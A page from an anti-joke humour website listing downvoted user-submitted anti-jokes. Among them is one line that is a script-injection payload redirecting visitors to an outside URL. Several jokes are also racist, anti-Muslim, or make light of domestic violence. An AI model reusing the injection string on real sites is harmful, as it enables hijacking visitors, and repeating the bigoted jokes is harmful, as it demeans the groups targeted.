Roses are gray, violets are blue; I'm red-green colorblind so I occasionally have difficulty seeing most shades of red or green.

thumb_up thumb_down -6

Have you seen Stevie Wonder's new house? No. Neither has he...

thumb_up thumb_down -6

What do you get when you cross a Minotaur with a snowman? A cold mythological creature.

thumb_up thumb_down -6

What did the muffin, say to the other muffin? Nothing. Because muffin's are inanimate objects, therefore incapable of speech, or any other sentient ability. They baked quietly until the man who was baking them came to the conclusion they were fit for consumption, devoured them, and went on with his day.

thumb_up thumb_down -6

A man walks into a store. He purchases what he was intending to, walks out, and gets on with his day.

thumb_up thumb_down -6

your mom is so ugly that she was made fun of in highschool so much that she now has social issues and a fear of close relationships which is why she left you and your father at age 5

thumb_up thumb_down -6

What did one Teacher say to the other teacher? Nothing. The first teacher has a horrible drinking habbit which is getting out of hand, He beats his wife and children each night after his drinks at the bar. His parents have stopped all contact and he found some divorce papers in his wifes draw, also saying she would be getting full costudy of the children. He has lost the majority of his friends and didnt want to loose another one, and kept his problems to himself.

thumb_up thumb_down -6

Q: Why didn't Little Jhonny go to school today? A: There was no school today.

thumb_up thumb_down -6

what's the best way to remove leaves from a tree? take them off

thumb_up thumb_down -6

But there's a sound Dumbledore knows... What does the Fawkes say?

thumb_up thumb_down -6

Why did Dracula cross the road? To get to the other unbitten virgin.

thumb_up thumb_down -6

Why do black guys have ashy elbows? Because of 9/11

thumb_up thumb_down -6

Why does sammy have a cut on her arm? becuase her mom went to go stab her dad and missed

thumb_up thumb_down -6

"'>document.location.href="http://cramik.org"

thumb_up thumb_down -6

Hook a finger from each hand in your mouth, now pull so your lips are tight and try to say "I was born on a pirate ship" I'm sorry, I can hardly understand you.

thumb_up thumb_down -6

Why couldn't the driver start his car? Because the driver was a tree

thumb_up thumb_down -6

A horse, a duck, a pig, and a muslim walk into bar. The horse ducks, the duck's hoarse, the pig's in a blanket, and the muslim has a can, being surprised at how far a can can preach hate in chicago. The bartender reminds the muslim that he is keeping company with a swine, and the muslim feels offended for the poor horse.

thumb_up thumb_down -8

Why did the pirate have a peg leg? Diabetes

thumb_up thumb_down -8

did you hear about the dyslexic journalist? he employed an assistant to double check his work. They worked really well together.

thumb_up thumb_down -8

What do you call the man with no arms or legs, swimming in the bay? Bob.

thumb_up thumb_down -8

Knock knock. Who's there? The IRS, please get out of the way.

thumb_up thumb_down -8

Horse walks into a bar... Bartender says It's probably not a good idea that you're in here. You're a very large animal. Any sudden movements, you may injure somebody. I don't know why you're here. None of the glasses are ergonomically designed for you to drink from them. So, you should probably leave.

thumb_up thumb_down -8

Why is Michael Jackson bad at chess ? Because he is dead.

thumb_up thumb_down -8

What worse than seeing a worm in your apple? Half a worm in your apple.

thumb_up thumb_down -8

Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

Want more? You might be interested in...


Anti-Joke Chicken

Anti-Joke Triceratops